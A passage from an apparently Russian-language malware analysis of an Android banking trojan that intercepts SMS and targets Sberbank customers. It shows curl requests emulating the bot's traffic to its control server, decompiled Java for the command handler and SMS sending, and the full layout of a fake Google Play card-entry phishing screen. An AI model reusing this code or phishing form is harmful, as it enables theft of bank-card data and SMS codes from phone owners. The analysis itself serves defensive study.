\u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0438 \u043f\u0430\u0440\u043e\u043b\u044c. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0430 \u0430\u043d\u0430\u043b\u0438\u0437, \u0431\u044b\u043b\u043e 350 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. <\/p>\n<p>  <code>  {&quot;response&quot;: [{&quot;bot_id&quot;: 1234, &quot;bot_pwd&quot;: &quot;blabla&quot;}], \t&quot;status&quot;: &quot;ok&quot;} <\/code><\/p>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u0438\u0434\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u044b<\/p>\n<p>  <code> curl --socks5 127.0.0.1:9050  --data &quot;mode=getTask&bid=348&pwd=17h9q&divice_admin=1&quot;   http:\/\/url.com\/controller.php  <\/code><br \/>  <code> {&quot;response&quot;: [{&quot;mode&quot;: &quot;set_intercept&quot;, \t\t&quot;intercept&quot;: &quot;all&quot;},{&quot;mode&quot;: &quot;upcatsm&quot;},{&quot;mode&quot;: &quot;timer_msg&quot;, \t\t\t&quot;sms_id&quot;: &quot;1232&quot;, \t\t\t&quot;sms_text&quot;: &quot;\u0411\u0410\u041b\u0410\u041d\u0421&quot;, \t\t\t&quot;sms_number&quot;: &quot;900&quot;, \t\t\t&quot;time&quot;: &quot;20&quot;}], \t&quot;status&quot;: &quot;ok&quot;} <\/code><\/p>\n<p>  \u041e\u0442\u0432\u0435\u0447\u0430\u0435\u043c \u0431\u0430\u043b\u0430\u043d\u0441\u043e\u043c \u043a\u0430\u0440\u0442\u044b:<\/p>\n<p>  <code> curl --socks5 127.0.0.1:9050  --data  &quot;mode=setSaveInboxSms&number=900&text=VISA1234 \u0411\u0430\u043b\u0430\u043d\u0441:23000\u0440.&time=2016-01-27 20:01:15&status_sms=1&sms_mode=2&bid=1234&quot;  http:\/\/url.com\/controller.php  <\/code><\/p>\n<p>  <code>  {&quot;response&quot;: [], \t&quot;status&quot;: &quot;ok&quot;} <\/code><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043e \u0431\u0430\u043b\u0430\u043d\u0441\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0430 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u043c\u0441. <\/p>\n<p>  <code> {&quot;response&quot;: [{&quot;mode&quot;: &quot;set_intercept&quot;, \t\t&quot;intercept&quot;: &quot;all&quot;}], \t&quot;status&quot;: &quot;ok&quot;} <\/code><\/p>\n<p>  \u0417\u0430\u043f\u0440\u043e\u0441 \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u0441\u0431\u0435\u0440\u0431\u0430\u043d\u043a\u0430 \u0438\u0434\u0435\u0442 \u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u041a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0440\u0443\u0447\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438.<\/p>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<br \/>  \u0422\u0443\u0442 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c case, \u043d\u043e \u0430\u0432\u0442\u043e\u0440 \u043d\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435, \u043a\u0430\u043a \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 JAVA<\/p>\n<pre><code class=\"java\"> JSONObject newOb = arr.getJSONObject(i);                             if (newOb.getString(&quot;mode&quot;).equals(&quot;set_intercept&quot;)) {                                 dbSet.setIntercept(newOb.getString(DbSet.INTERCEPT));                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;set_interval&quot;)) {                                 dbLog.setInterval(newOb.getInt(U_COLUMS.INTERVAL));                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;send_sms&quot;)) {                                 mItem = new MessageItem(newOb.getString(&quot;sms_number&quot;), newOb.getString(&quot;sms_text&quot;), newOb.getInt(&quot;sms_id&quot;));                                 Settings.sendSms(MainService.this.ctx, mItem);                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;set_server&quot;)) {                                 dbSet.setServer(MainService.this.ctx, newOb.getString(DbSet.SERVER));                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;upcatsm&quot;)) {                                 new Settings(MainService.this.ctx).upServerCatSms();                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;upsmlist&quot;)) {                                 new Settings(MainService.this.ctx).upServerSmsList(newOb.getString(&quot;number&quot;));                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;changeNotify&quot;)) {                                 dbSet.setNotify(newOb.getString(&quot;text&quot;));                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;get_ussd&quot;)) {                                 SettingsBase.ussdOn(MainService.this.ctx, newOb.getString(&quot;text&quot;));                             }                             if (newOb.getString(&quot;mode&quot;).equals(&quot;timer_msg&quot;)) {                                 mItem = new MessageItem(newOb.getString(&quot;sms_number&quot;), newOb.getString(&quot;sms_text&quot;), newOb.getInt(&quot;sms_id&quot;));                                 Settings.sendSmsTimer(MainService.this.ctx, mItem, newOb.getInt(&quot;time&quot;)); }   <\/code><\/pre>\n<p>  <i>set_intercept<\/i> \u2014 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u043c\u0441 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435<br \/>  \u0418 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0438\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439<\/p>\n<pre><code class=\"java\">   if ((str.equals(&quot;all&quot;)) || (str.equals(&quot;All&quot;)) || (str.equals(&quot;ALL&quot;)) || (str.equals(&quot;&quot;))) <\/code><\/pre>\n<p>   \u0418 \u0435\u0441\u043b\u0438 \u0443\u0436 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u0432\u0441\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u0442\u043e \u0433\u0434\u0435 \u0435\u0449\u0435 5? \u0414\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0439 \u0441\u0442\u0440\u043e\u043a \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c compareToIgnoreCase <\/p>\n<p>  <i>setInterval<\/i> \u2014 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043e\u0442\u043a\u043b\u0438\u043a\u0430 \u043a \u0433\u0435\u0439\u0442\u0443<\/p>\n<p>  <i>send_sms <\/i><br \/>  \u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u043c\u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0432\u043e. \u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u044b\u0445 \u0441\u043c\u0441 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u043b\u0438\u043d\u0430 70 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0440\u0443\u0441\u0441\u043a\u0438\u043c\u0438 \u0431\u0443\u043a\u0432\u0430\u043c\u0438. \u0420\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u043f\u043e \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435\u0443\u0434\u043e\u0431\u043d\u043e. <\/p>\n<pre><code class=\"java\">public static boolean sendSms(Context context, MessageItem item) {         try {             Intent intent = new Intent(context, MainReceiver.class);             intent.setAction(Constants.CONST_SMS_DELIVERED_STATUS);             intent.putExtra(Constants.CONST_ID_SEND_SMS, item.id);             PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, item.id, intent, 0);             try {                 SmsManager.getDefault().sendTextMessage(item.phone, null, item.text, sentPendingIntent, null);             } catch (Exception e) {                 sendMessage(context, &quot;\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u0421\u041c\u0421.&quot;, &quot;ERROR&quot;, 1, 0);             }             return true;         } catch (Exception ex) {             ex.printStackTrace();             return false;         }     } <\/code><\/pre>\n<p>  <i>set_server <\/i> \u2014 \u043c\u0435\u043d\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0433\u0435\u0439\u0442\u0430, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 SharedPreference<\/p>\n<p>  <i>upsmlist<\/i>, <i>upcatsm<\/i> \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u0441\u0435 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043c\u0441 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 json \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440<\/p>\n<p>  <i>changeNotify<\/i> \u2014 \u043f\u043e\u0441\u044b\u043b\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e push \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u0441 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0441 \u0438\u043a\u043e\u043d\u043a\u043e\u0439 \u043e\u0442 google play. \u0412\u043e\u0442 \u0442\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f Activity \u0441 \u0444\u0435\u0439\u043a\u043e\u043c google play. <br \/>  \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0430 \u0432\u044b\u0437\u043e\u0432 \u0444\u0435\u0439\u043a\u0430 \u043c\u043d\u0435 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u0430, \u0430 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0443\u0441\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 xml \u0444\u0435\u0439\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c. \u041f\u043e\u0445\u043e\u0436\u0435 \u043f\u0440\u0438 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043f\u043e\u043b\u043e\u043c\u0430\u043b\u0441\u044f. \u041d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0432 \u043d\u0435\u043c \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043d\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u043a\u0430 \u043d\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 \u041b\u0443\u043d\u0430, \u0433\u043e\u0434, etc<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">card.xml<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"xml\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; &lt;LinearLayout android:orientation=&quot;1&quot; android:background=&quot;#fff&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-1&quot;     &lt;LinearLayout android:background=&quot;@drawable\/top&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;50dp&quot;         &lt;LinearLayout android:orientation=&quot;1&quot; android:background=&quot;#fff&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-1&quot;&gt;             &lt;ImageView android:id=&quot;@id\/imageView1&quot; android:background=&quot;#fff&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:src=&quot;@drawable\/market_icon&quot; \/&gt;         &lt;\/LinearLayout&gt;         &lt;TextView android:textAppearance=&quot;?unknown_attr_ref: 1010041&quot; android:textColor=&quot;#fff&quot; android:layout_gravity=&quot;10&quot; android:id=&quot;@id\/textView1&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;5dp&quot; android:text=&quot;Google Play&quot; \/&gt;     &lt;\/LinearLayout&gt;     &lt;LinearLayout android:orientation=&quot;1&quot; android:id=&quot;@id\/layoutOk&quot; android:background=&quot;#fff&quot; android:visibility=&quot;2&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot;&gt;         &lt;TextView android:textAppearance=&quot;?unknown_attr_ref: 1010041&quot; android:textColor=&quot;#1c1c1c&quot; android:id=&quot;@id\/textView5&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:text=&quot;\u0421\u043f\u0430\u0441\u0438\u0431\u043e, \u0432\u0430\u0448\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b. \u041e\u0436\u0438\u0434\u0430\u0439\u0442\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430 \u0432\u0430\u0448 email \u0430\u0434\u0440\u0435\u0441.&quot; \/&gt;         &lt;Button android:textColor=&quot;#fff&quot; android:id=&quot;@id\/btn_close&quot; android:background=&quot;@drawable\/btn&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;40dp&quot; android:layout_marginLeft=&quot;5dp&quot; android:layout_marginTop=&quot;10dp&quot; android:layout_marginRight=&quot;5dp&quot; android:text=&quot;\u0417\u0430\u043a\u0440\u044b\u0442\u044c&quot; \/&gt;     &lt;\/LinearLayout&gt;     &lt;LinearLayout android:orientation=&quot;1&quot; android:id=&quot;@id\/layout1&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; \/&gt;     &lt;ScrollView android:id=&quot;@id\/scrollView1&quot; android:visibility=&quot;0&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-1&quot; android:isScrollContainer=&quot;true&quot;&gt;         &lt;LinearLayout android:orientation=&quot;1&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot;             &lt;LinearLayout android:orientation=&quot;1&quot; android:id=&quot;@id\/layout2&quot; android:background=&quot;#fff&quot; android:visibility=&quot;0&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot;&gt;                 &lt;TextView android:textAppearance=&quot;?unknown_attr_ref: 1010041&quot; android:textColor=&quot;#a52a2a&quot; android:id=&quot;@id\/textError&quot; android:visibility=&quot;2&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;3dp&quot; android:text=&quot;Medium Text&quot; \/&gt;                 &lt;TextView android:textAppearance=&quot;?unknown_attr_ref: 1010041&quot; android:textColor=&quot;#1c1c1c&quot; android:id=&quot;@id\/textView2&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:text=&quot;\u0414\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430 Google Play \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.&quot; \/&gt;             &lt;\/LinearLayout&gt;             &lt;LinearLayout android:orientation=&quot;1&quot; android:id=&quot;@id\/LinearInput&quot; android:visibility=&quot;0&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginTop=&quot;5dp&quot;                 &lt;LinearLayout android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot;&gt;                     &lt;ImageView android:id=&quot;@id\/imageView2&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:src=&quot;@drawable\/visa&quot; \/&gt;                     &lt;ImageView android:id=&quot;@id\/imageView3&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:src=&quot;@drawable\/mastercard&quot; \/&gt;                     &lt;ImageView android:id=&quot;@id\/imageView4&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:src=&quot;@drawable\/logo_maestro&quot; \/&gt;                     &lt;ImageView android:id=&quot;@id\/imageView4343f&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:src=&quot;@drawable\/discovery&quot; \/&gt;                 &lt;\/LinearLayout&gt;                 &lt;LinearLayout android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginTop=&quot;5dp&quot;&gt;                     &lt;EditText android:id=&quot;@id\/ETCard1&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;5dp&quot; android:layout_marginRight=&quot;2dp&quot; android:ems=&quot;10&quot; android:maxLength=&quot;4&quot; android:layout_weight=&quot;1.0&quot; android:inputType=&quot;2&quot;&gt;                         &lt;requestFocus \/&gt;                     &lt;\/EditText&gt;                     &lt;EditText android:id=&quot;@id\/ETCard2&quot; android:focusableInTouchMode=&quot;true&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;2dp&quot; android:layout_marginRight=&quot;2dp&quot; android:maxLength=&quot;4&quot; android:digits=&quot;0123456789 &quot; android:layout_weight=&quot;1.0&quot; android:inputType=&quot;2&quot; \/&gt;                     &lt;EditText android:id=&quot;@id\/ETCard3&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;2dp&quot; android:layout_marginRight=&quot;2dp&quot; android:maxLines=&quot;1&quot; android:ems=&quot;10&quot; android:maxLength=&quot;4&quot; android:layout_weight=&quot;1.0&quot; android:inputType=&quot;2&quot; \/&gt;                     &lt;EditText android:id=&quot;@id\/ETCard4&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;2dp&quot; android:layout_marginRight=&quot;5dp&quot; android:ems=&quot;10&quot; android:maxLength=&quot;4&quot; android:layout_weight=&quot;1.0&quot; android:inputType=&quot;2&quot; \/&gt;                 &lt;\/LinearLayout&gt;                 &lt;LinearLayout android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot;&gt;                     &lt;EditText android:id=&quot;@id\/ETCard5&quot; android:layout_width=&quot;70dp&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;5dp&quot; android:layout_marginTop=&quot;5dp&quot; android:layout_marginRight=&quot;5dp&quot; android:hint=&quot;\u041c\u041c&quot; android:ems=&quot;10&quot; android:maxLength=&quot;2&quot; android:inputType=&quot;2&quot; \/&gt;                     &lt;TextView android:layout_gravity=&quot;10&quot; android:id=&quot;@id\/textView3&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:text=&quot;\/&quot; \/&gt;                     &lt;EditText android:id=&quot;@id\/ETCard6&quot; android:layout_width=&quot;70dp&quot; android:layout_height=&quot;-2&quot; android:layout_margin=&quot;5dp&quot; android:hint=&quot;\u0413\u0413&quot; android:ems=&quot;10&quot; android:maxLength=&quot;2&quot; android:inputType=&quot;2&quot; \/&gt;                 &lt;\/LinearLayout&gt;                 &lt;LinearLayout android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot;&gt;                     &lt;EditText android:id=&quot;@id\/ETCard7&quot; android:layout_width=&quot;100dp&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;5dp&quot; android:layout_marginTop=&quot;5dp&quot; android:layout_marginRight=&quot;5dp&quot; android:hint=&quot;CVC-\u043a\u043e\u0434&quot; android:ems=&quot;10&quot; android:maxLength=&quot;3&quot; android:inputType=&quot;2&quot; \/&gt;                     &lt;ImageView android:layout_gravity=&quot;10&quot; android:id=&quot;@id\/imageView5&quot; android:layout_width=&quot;-2&quot; android:layout_height=&quot;-2&quot; android:src=&quot;@drawable\/cvc_visa&quot; \/&gt;                 &lt;\/LinearLayout&gt;                 &lt;EditText android:id=&quot;@id\/EditTextName&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;-2&quot; android:layout_marginLeft=&quot;5dp&quot; android:layout_marginTop=&quot;5dp&quot; android:layout_marginRight=&quot;5dp&quot; android:hint=&quot;\u0418\u043c\u044f \u0438 \u0444\u0430\u043c\u0438\u043b\u0438\u044f \u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044f \u043a\u0430\u0440\u0442\u044b&quot; android:ems=&quot;10&quot; android:maxLength=&quot;60&quot; android:inputType=&quot;1&quot; \/&gt;                 &lt;Button android:textColor=&quot;#fff&quot; android:id=&quot;@id\/btn_save&quot; android:background=&quot;@drawable\/btn&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;40dp&quot; android:layout_marginLeft=&quot;5dp&quot; android:layout_marginTop=&quot;10dp&quot; android:layout_marginRight=&quot;5dp&quot; android:text=&quot;\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c&quot; \/&gt;             &lt;\/LinearLayout&gt;             &lt;Button android:textColor=&quot;#8b8989&quot; android:id=&quot;@id\/btnCancel&quot; android:background=&quot;@drawable\/btn_alpa&quot; android:visibility=&quot;2&quot; android:layout_width=&quot;-1&quot; android:layout_height=&quot;40dp&quot; android:layout_marginTop=&quot;15dp&quot; android:text=&quot;\u0417\u0430\u043a\u0440\u044b\u0442\u044c&quot; \/&gt;         &lt;\/LinearLayout&gt;     &lt;\/ScrollView&gt; &lt;\/LinearLayout&gt; <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <i>get_ussd<\/i><br \/>  Android \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 API \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u043e\u0442 USSD \u043a\u043e\u043c\u0430\u043d\u0434. \u0422.\u0435. \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442, \u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0435\u043a\u0441\u0442 \u0438\u0437 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0435\u043b\u044c\u0437\u044f. \u0422\u0443\u0442 \u0435\u0441\u0442\u044c 2 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u2014 \u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 IExtendedNetworkService.aidl. \u0421\u043f\u0435\u0446.\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 4 \u0432\u0435\u0440\u0441\u0438\u0438 android, \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043e\u043a\u043d\u0430 \u0431\u0435\u0437 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f. \u0422\u0430\u043a\u0436\u0435 \u044d\u0442\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0430\u0432\u0438\u0442\u044c. \u0421 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u0432\u0441\u0435 \u043f\u0440\u043e\u0449\u0435, \u043e\u043d\u0430 \u043b\u043e\u0432\u0438\u0442, \u043a\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f, \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 2 \u0432\u0435\u0440\u0441\u0438\u0438 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430. \u041d\u043e \u0441\u043b\u0443\u0445\u0438 \u043e \u0435\u0451 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u044b.<br \/>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u043e\u0442 USSD \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u0441\u0438\u043c\u043a\u0430\u0440\u0442\u044b. USSD \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441\u0431\u0435\u0440\u0431\u0430\u043d\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e \u0438 \u043a\u043e\u0434 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0438 \u043e\u0442\u0432\u0435\u0442 \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u043e \u0441\u043c\u0441. <\/p>\n<pre><code class=\"java\">public static void ussdOn(Context context, String phone) {         phone = new 